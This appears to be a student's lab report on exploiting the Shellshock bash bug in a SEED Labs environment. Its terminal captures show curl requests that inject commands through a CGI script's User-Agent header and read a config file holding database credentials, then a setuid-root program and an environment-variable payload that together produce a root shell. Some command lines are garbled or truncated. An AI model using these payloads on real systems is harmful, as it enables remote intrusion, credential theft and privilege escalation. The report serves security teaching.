

Exploit Linux  
Isma Khairunisa  
1716101321

### III - Rekayasa Perangkat Lunak Kripto



```
Terminal
seed@Attacker_Isma Khairunisa(10.0.2.6):~$ curl -A "()" { echo hello;}; echo Content_type: text/plain; echo; /bin/ls -l" ht
/bin/myprog.cgi
164 Apr 16 05:05 myprog.cgi
lrwxrwxrwx 1 root root 29 Sep 15 2013 php -> /etc/alternatives/php-cgi-bin
-rwxr-xr-x 1 root root 8160168 Sep 4 2014 php5
seed@Attacker_Isma Khairunisa(10.0.2.6):~$ curl -A "()" { echo hello;}; echo Content_type: text/plain; echo; /bin/cat /var/
www/SQL/Collabtive/config.standard/config.php" http://192.168.56.104/cgi-bin/myprog.cgi
seed@Attacker_Isma Khairunisa(10.0.2.6):~$ curl -A "()" { echo hello;}; echo Content_type: text/plain; echo; /bin/cat /var/
www/SQL/Collabtive/standard/config.php" http://192.168.56.104/cgi-bin/myprog.cgi
seed@Attacker_Isma Khairunisa(10.0.2.6):~$ ls -al /bin/sh
lrwxrwxrwx 1 root root 9 Apr 16 07:27 /bin/sh -> /bin/bash
seed@Attacker_Isma Khairunisa(10.0.2.6):~$ curl -A "()" { echo hello;}; echo Content_type: text/plain; echo; /bin/cat /var/
www/SQL/Collabtive/config.standard/config.php" http://192.168.56.104/cgi-bin/myprog.cgi
<?php
$db_host = 'localhost';
$db_name = 'sql_collabtive_db';
$db_user = 'root';
$db_pass = 'seedubuntu';
?>seed@Attacker_Isma Khairunisa(10.0.2.6):~$

File Edit View Search Terminal Help
1 #include <stdio.h>
2
3 void main()
4 {
5
6 setuid(geteuid()); //make real uid = effective uid
7 system("/bin/ls -l");
8
9 }
10
11 /*#####
12 # Nama : Isma K
13 # NPM : 1716101321
14 # Task 2
15 #####*/
```

```
File Edit View Search Terminal Help 8:22 AM Seed
seed@Attacker_Isma Khairunisa(10.0.2.6):~$ vi task2.c
seed@Attacker_Isma Khairunisa(10.0.2.6):~$ gcc -o task2 task2.c
seed@Attacker_Isma Khairunisa(10.0.2.6):~$ sudo chown root task2
[sudo] password for seed:
seed@Attacker_Isma Khairunisa(10.0.2.6):~$ sudo chmod 4755 task2
seed@Attacker_Isma Khairunisa(10.0.2.6):~$ ll task2
-rwsr-xr-x 1 root seed 7238 Apr 16 08:10 task2
seed@Attacker_Isma Khairunisa(10.0.2.6):~$ ./task2
total 5536
-rwxrwxr-x 1 seed seed 7159 Apr 5 02:01 cal
-rw-rw-r-- 1 seed seed 55 Apr 5 01:58 cal.c
-rwsr-xr-x 1 root seed 7457 Apr 3 00:55 cleanUID
-rw-rw-r-- 1 root root 947 Apr 3 04:00 cleanUID.c
drwxr-xr-x 4 seed seed 4096 Dec 9 2015 Desktop
drwxr-xr-x 3 seed seed 4096 Dec 9 2015 Documents
drwxr-xr-x 2 seed seed 4096 Mar 30 22:34 Downloads
drwxrwxr-x 6 seed seed 4096 Sep 16 2014 elggData
-rwxrwxr-x 1 seed seed 7230 Apr 5 00:29 env1
-rw-rw-r-- 1 seed seed 206 Apr 5 00:23 env1.c
-rwxrwxr-x 1 seed seed 7158 Apr 5 00:29 env1
-rwxrwxr-x 1 seed seed 7161 Apr 5 00:32 env12
-rw-rw-r-- 1 seed seed 619 Apr 5 00:32 env12.c
-rw-rw-r-- 1 seed seed 185 Apr 5 00:24 env1.c
-rw-rw-r-- 1 seed seed 8445 Aug 13 2013 examples.desktop
-rw-rw-r-- 1 seed seed 70 Apr 5 01:19 hello.c
-rwxrwxr-x 1 seed seed 7161 Apr 5 01:19 hello_dynamic
-rwxrwxr-x 1 seed seed 751293 Apr 5 01:19 hello_static
-rwxrwxr-x 1 seed seed 7654 Apr 3 02:39 libnsl.so.1.0.1
drwxr-xr-x 2 seed seed 4096 Aug 13 2013 Music
-rwsr-xr-x 1 root seed 46764 Mar 27 20:38 mycat
-rwsr-xr-x 1 root seed 22060 Apr 5 01:40 myenv
-rw-rw-r-- 1 seed seed 66 Apr 3 02:26 mylib.c
-rw-rw-r-- 1 seed seed 2608 Apr 3 02:39 mylib.o
-rwsr-xr-x 1 user1 root 7161 Apr 3 07:27 myprog
-rw-rw-r-- 1 seed seed 42 Apr 3 00:00 myprog.c
-rw-rw-r-- 1 seed seed 80 Apr 5 01:37 mysleep.c
-rw-rw-r-- 1 seed seed 1036 Apr 5 01:37 mysleep.o
-rwsr-xr-x 1 root seed 7161 Apr 5 01:39 mytest
-rw-rw-r-- 1 seed seed 54 Apr 5 01:28 mytest.c
-rwsr-xr-x 1 root root 7310 Apr 2 21:16 no5

File Edit View Search Terminal Help 8:24 AM Seed
seed@Attacker_Isma Khairunisa(10.0.2.6):~$ export foo='() { echo "Hari ini libur";}; /bin/sh'
seed@Attacker_Isma Khairunisa(10.0.2.6):~$ ./task2
sh-4.2# whoami
root
sh-4.2#
```